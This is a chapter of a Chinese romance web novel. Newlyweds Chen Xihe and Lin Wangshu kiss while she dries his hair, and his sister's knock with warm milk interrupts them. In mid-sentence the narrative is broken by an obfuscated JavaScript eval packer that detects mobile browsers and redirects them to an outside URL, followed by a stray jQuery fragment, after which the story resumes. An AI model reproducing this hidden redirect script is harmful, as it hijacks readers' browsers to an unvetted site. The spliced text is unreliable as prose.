之前早晨,陈羲和穿运动装跑完步回来时林望舒是见过的。他是标准的薄肌,轮廓清晰,肩宽腰窄典型的倒三角,看起来就很有性张力,现在这样的肌肉不会另反感,反而有些诱人。
林望舒脸颊又不自觉地红了,她在心里暗骂自己怎么这么不争气!况且他们明明是合法关系!不就是看一下紧贴的衣服嘛,能怎么,就算看裸.体也合乎情理!
陈羲和也愣住了,一出门就看见了她,而且林望舒现在是坐在他刚刚的位置。
她在等我。
一想到这儿,陈羲和心里雀跃了不少,勾唇一笑,上前揽过林望舒,玩味看她:“怎么?很好看?目不转睛盯着我。”
林望舒点点头,还是舍不得移开眼似的看着他,呆呆愣愣地说:“嗯!好看!”
她说得脸不红心不跳,反倒让陈羲和这个去调.戏的人不好意思了。
林望舒总是这样,不动声色地反将他一局,偏偏又呆着个样子让人不好去责怪追究,自己却只能吃瘪。
陈羲和松开了林望舒,笑着走到一旁准备吹头发。
林望舒看他坐在床头拿出吹风机就要开始,忽而想起自己好几次头发都是他帮忙吹的。她小碎步一点点踱过去问陈羲和:“我帮你吹?”
虽说是在问,但话里话间意思很明显,况且林望舒还把手里的吹风机拿走了。
陈羲和终于抬眼看她了,轻轻嗯了一声答应。
他头发茂密不算很长,但洗完垂下来刚好到眼帘,显得很乖顺。林望舒爬上床去跪在陈羲和背后直起身,先给他吹后脑勺处的头发。
嗡嗡嗡。暖风熏得沉醉,感受到林望舒的手窸窸窣窣在后面动作着,偶尔有热气吹到脖颈。
陈羲和想,这热气里会不会有那么一丝是她的气息,又被自己的想法荒唐到好笑,垂了垂头。
林望舒连忙关掉吹风机,担心地从后面趴在他肩上,凑近他耳朵问:“是太近了很烫吗?”
她显然没意识到自己什么动作。
半个身体靠在了陈羲和身上,凑近说话呼吸感受明显,热气全部喷洒到陈羲和耳廓。林望舒身上玫瑰花沐浴露的气味,也顺着两人靠近的动作,弥散开来。
陈羲和彻底沾染上她的味道。
“后面吹干了,换前面吧。”陈羲和强装镇定,声音却比平时哑了些。
林望舒没察觉,下床走到陈羲和前面,继续给他吹头发。
但……陈羲和却有点受不了了,现在比刚刚更糟糕。
面前就是林望舒起伏有致的身体,他坐着时平视过去正好是她胸前……况且,今晚的她也变得很不一样了。
不像她之前那些比较卡通幼稚的睡衣,今天这件更清凉一点。她白皙的双臂就这样露在外面,晃动惹眼。陈羲和强迫着转移视线,入目又是起伏的软绵之处。
他生平第一次觉得自己如此“无地自容”。
气温逐渐升高,他耳垂也泛红,还好林望舒专注认真没有觉察到。
给陈羲和吹干头发,看着他头发柔顺蓬松,毛茸茸的一个,林望舒起了点逗趣的心思。她放下吹风机,两只手放在了他脑袋上,揉了揉。
他发质比自己的硬,但却不扎手很舒服。林望舒又情不自禁,多揉了几下,还不想停。陈羲和就像只乖顺的小狗一样。
陈羲和本就难耐的心,经林望舒这么一撩.拨,更乱了。
他深吸一口气,抬起手将林望舒胡作非为的双手反剪在她身后,一只手就能锢好她两个手腕。另一只手则不安分的顺着林望舒腰线上移,按在她腰窝。
林望舒身体发软的向前一倒,下一秒,林望舒感觉胸前磕到了什么东西,陈羲和抬头紧紧盯着她,不错过任何一个表情,正好和她接了个满怀。
她垂眼看,发现是陈羲和的下巴。
此刻他们两个人紧紧相靠。空气黏黏糊糊,陈羲和的呼气毫不顾忌喷洒在林望舒裸.露的肌肤上,使她本就泛起战栗的身体更软了。
眼瞧着林望舒要站不住了,陈羲和松开她的手,抄起她的腿,把林望舒抱坐在怀里,低下头,额头靠近。
林望舒身体发软,乍然被这个动作一惊,只好牢牢挽住身前人的脖子。呼吸也变得急促起来,比起她的,陈羲和要更为明显些。
他整个身体滚烫,两人皮肤相贴的地方灼烧着,他就着这个姿势牢牢抱紧自己,像是要将人揉进怀里。
他的脸轻轻蹭着她的,一点点磨,一点点移。
林望舒感觉整个人都要烧起来了。
他终于靠近了许多,鼻尖对着鼻尖,唇齿相距不足一厘米。陈羲和再蹭着靠近……感受着林望舒,终于吻上了她的唇瓣。
她唇形圆润饱满,唇珠凸起一小点,让人忍不住采撷。
陈羲和先是轻轻从唇角,再逐渐上移吻到唇珠,来回磨蹭。感受着她柔软的唇,浅尝辄止。
林望舒双手环住陈羲和脖颈,迟钝的感受着他的动作,不知道该做出什么回应,脑袋晕乎乎地,缺氧但又不会换气,脸颊红透了。
就在陈羲和手掌托住林望舒后脑勺,准备吻的更深入的时候,门被叩响,打乱室内旖旎风光。
林望舒这才像回过神来,错开了脸颊埋在他颈肩。声音哑哑地说:“你去开门。”
陈羲和强迫着自己从情.欲这抽离,把林望舒抱着放在床上盖好被子,快速去厕所洗了把脸清醒一下,才走去门口。
接吻被打断,陈羲和微微皱眉,有些烦躁地打开房门。
是陈言臻。好了,更气了。
他倚在门边的柜子上,毫不留情地对陈言臻说:“你最好有事。”
陈羲和语气不善,陈言臻自然感受出来了。心中暗骂,到底谁又惹他了。
她自然不会觉得是自己,毕竟现在她是来关心他们的。
“呐,给你们带的牛奶。我刚去厨房热的呢!趁热喝。”
陈羲和面无表情接过两个玻璃杯,“半夜别随便敲门。”他往里走走才回头对陈言臻说,“走时候把门带一下。”
陈言臻:?
又愣神几秒,她突然反应过来。刚刚陈羲和眼角泛红,只是背着光,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968410|192676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
隐匿在黑暗中有点看不清,看到他脸上的水渍本以为刚洗完脸才这样。但是……从他刚刚的反应来看,好像不是这样……
她长期待在国外,耳濡目染下看到的人更不拘小节一点,料是陈言臻这种没谈过恋爱的人也知道。刚刚哥哥嫂嫂正在亲密,自己坏事了。
完蛋了!她不会被陈羲和给刀了吧!
战战兢兢走了回去,只希望林望舒可以维护她一点了。
氛围被打搅,两人现在共处一室,不知所措。
林望舒终于从被子里坐起身来,她蜷起腿靠在床头,把被子抬高遮住自己整个身体去,只露出脸来。
“臻臻热的牛奶。”
林望舒艰难的从被子里伸出一只手。
玻璃杯不大,不管怎么样都会碰到陈羲和的手,还是那么烫。
她小口小口喝不发出声响,企图降低存在感。方一喝完就躺下准备睡觉。
没一会,左边床铺微微下陷,陈羲和也上床了。
他关掉了室内的灯,黑暗中,两颗还是无法平静的心怦怦跳。
这个氛围也太奇怪了,她觉得两个人都无法立马入睡,就这样躺在床上不说话,有点尴尬。
林望舒打破沉默,“这个牛奶还挺好喝的。”
没话找话,无厘头的一句,说完她自己也发现,但没想到陈羲和会回复。
“你喜欢?那我让人在我们家里买点备着。”
得到回复,林望舒又感觉自己行了,继续找点话题聊。
“妹妹小名叫臻臻?那你的呢?”
刚才他们讲话,林望舒听得一清二楚。是叫陈言臻“臻臻”的。
没等到他回复,林望舒继续道:“和和?还是阿和?”
“都不是。”陈羲和微不可察地叹了一口气,给林望舒掖了掖被子,又补了一句,“好好睡觉。”
“哦。”
感觉睡在一个陌生的床上很不习惯,林望舒翻来覆去地没睡着,总感觉少了点什么一样。
睁开眼盯着天花板,回想她和陈羲和两个在一起的点滴,她终于想起这一点点的不习惯源自哪了。
以往这么久以来,每天晚上陈羲和都是抱着她睡的。他怀抱很舒服,开着空调也不会很热,暖和得很想让人靠近。
但今晚没有抱她。
胡思乱想着:不会是亲到了就腻了吧,晚上睡觉连拥抱都没有了。
她侧过身看陈羲和。
对方平躺在床上,双手放在外面搭在两旁,但从他呼吸声来看,应该是没睡着的。
“陈羲和,你今晚睡觉怎么不抱我啊。”
他沉沉目光看过来,眼里墨色不清,声音也是前所未有的低哑:“林望舒,你再说话今晚可以不用睡了。”
本能地,她察觉到陈羲和危险的气息,马上闭上眼睛睡觉,身体缩在被窝里,一动不动。
放松神经,没一会儿就睡了过去,只是有点觉浅,大半夜迷迷糊糊醒来发现陈羲和不在身边,浴室的灯反而亮起了微光,但她实在太困,没清醒多久又闭上了眼睛。